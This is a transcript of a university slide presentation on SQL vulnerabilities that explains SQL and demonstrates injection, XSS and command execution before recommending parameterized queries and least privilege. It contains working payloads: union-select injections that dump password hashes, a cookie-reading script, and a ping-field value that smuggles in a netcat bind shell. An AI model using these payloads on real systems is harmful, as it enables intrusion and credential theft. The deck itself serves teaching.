SQL Vulnerabilities - University of Tulsa

Download Report

Transcript SQL Vulnerabilities - University of Tulsa

Nick Tsamis
University of Tulsa
CS 7493
April 2013




What is SQL?
Why SQL Matters.
*yawn* What’s the big deal?
What could possibly go wrong?
 SQL Injection
 XSS
 Command Execution
 *pffft* So we shouldn’t use SQL?
 That’s some smart SQL!
Structured Query Language
 Language
 Specialized programming language
 Utilized in relational databases
Query
 Raw data is queried to obtain information
 “Our business is turning data into
information.” – Michael A. Peterson
 Structured
 Adheres to a strict, defined format
Query
Table
Column
• Top down flow only
Relational
Databases
vs Hierarchical Databases
• Data relations are stored
Popularity
 One of the first commercial languages for
relational models
 Today, exists as the de facto standard
 (ANSI and ISO)
 It’s EVERYWHERE
Versatility
 It’s flexible:
 T-SQL
 MySQL
 LINQ
Vulnerabilities
 SQL is powerful…if you grant it
 Manages data some of which is sensitive
 Provides a great entry point for access
 Recovering lost password:
*yawn*
 Security is not always implicit
 Raw SQL can be very vulnerable to simple injections
 if $EMAIL = “anything' OR 'x'='x”
SQL Injection
 Injecting unintended code into a query
 Returning user name from ID
 Source code
Injections.
 The attack
 We add a second condition that will always
examine true (1=1)
 Purpose is to dump all user information
 $id = ‘ or 1=1 #
 WHERE user_id = ‘ ’ or 1=1 # ’ ”;
SQL Injection
 Injecting unintended code into a query
 Returning sql information
 The attack(s)
 We add a union select to dump additional data
 $id = ‘ union SELECT 1, user() #
 Yields current sql user
 $id = ‘ and 1=1 union select database(),version() #
 Yields current sql version and database name
Injections.
SQL Injection
 Injecting unintended code into a query
 Case Study
 Returning the good stuff!!
 The attack(s)
 We add a union select to dump password data
 $id = ‘ union select user, password FROM users #
 Yields current user and associated password (hash)
Injections.
XSS (Cross Site Scripting)
 Execute unintended scripts inline
 Throw an alert
 Passed as a url argument
XSS.
 What if we put an inline script in that url?
 Alert box shown:
XSS (Cross Site Scripting)
 Well that wasn’t exactly l33t…
 Have a cookie
 <script>alert(document.cookie)</script>
 Alert box shown:
XSS.
 More serious implications:
 Run a custom script that can open a remote
connection (backdoor)
 Read and dump configuration data (SQL or OS)
Command Execution
 Use the secret entrance
 A site that allows for free IP Pinging
 Sample source:
Execution.
 Concatenating commands might work…
 192.168.200.128;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 8999 > /tmp/pipe
 Attempts to allow connections on port 8999 with netcat (nc)

 Upon execution, browser waits for
connection on port 8999
Better SQL
 Stored Procedures
 Preformat and secure a static query
 Grant access to a SP, not the tables it accesses
Typically increased performance
 Parameter check – data typing
 No network traffic – run inside the engine
*pffft*
 String Filtering/Escaping
 String escape characters
 ‘
 “
 \
 NUL
No, we should use better SQL.
Mo’ Better SQL
 Parameterized SQL
 Strongly typed data is bound on execution
 Parameters are populated and checked
 User input is not directly embedded
*pffft*
 Database Management
 Permission limitation
 Principle of Least Privilege
No, we should use better SQL.
 http://upload.wikimedia.org/wikipedia/commons/thumb
/e/eb/Hierarchical_Model.svg/320pxHierarchical_Model.svg.png
 http://www.ibm.com/developerworks/library/xmatters8/relat.gif
 http://upload.wikimedia.org/wikipedia/commons/a/aa/S
QL_ANATOMY_wiki.svg
 http://www.unixwiz.net/techtips/sql-injection.html
 http://wikipedia.org
 http://www.codinghorror.com/blog/2005/04/give-meparameterized-sql-or-give-me-death.html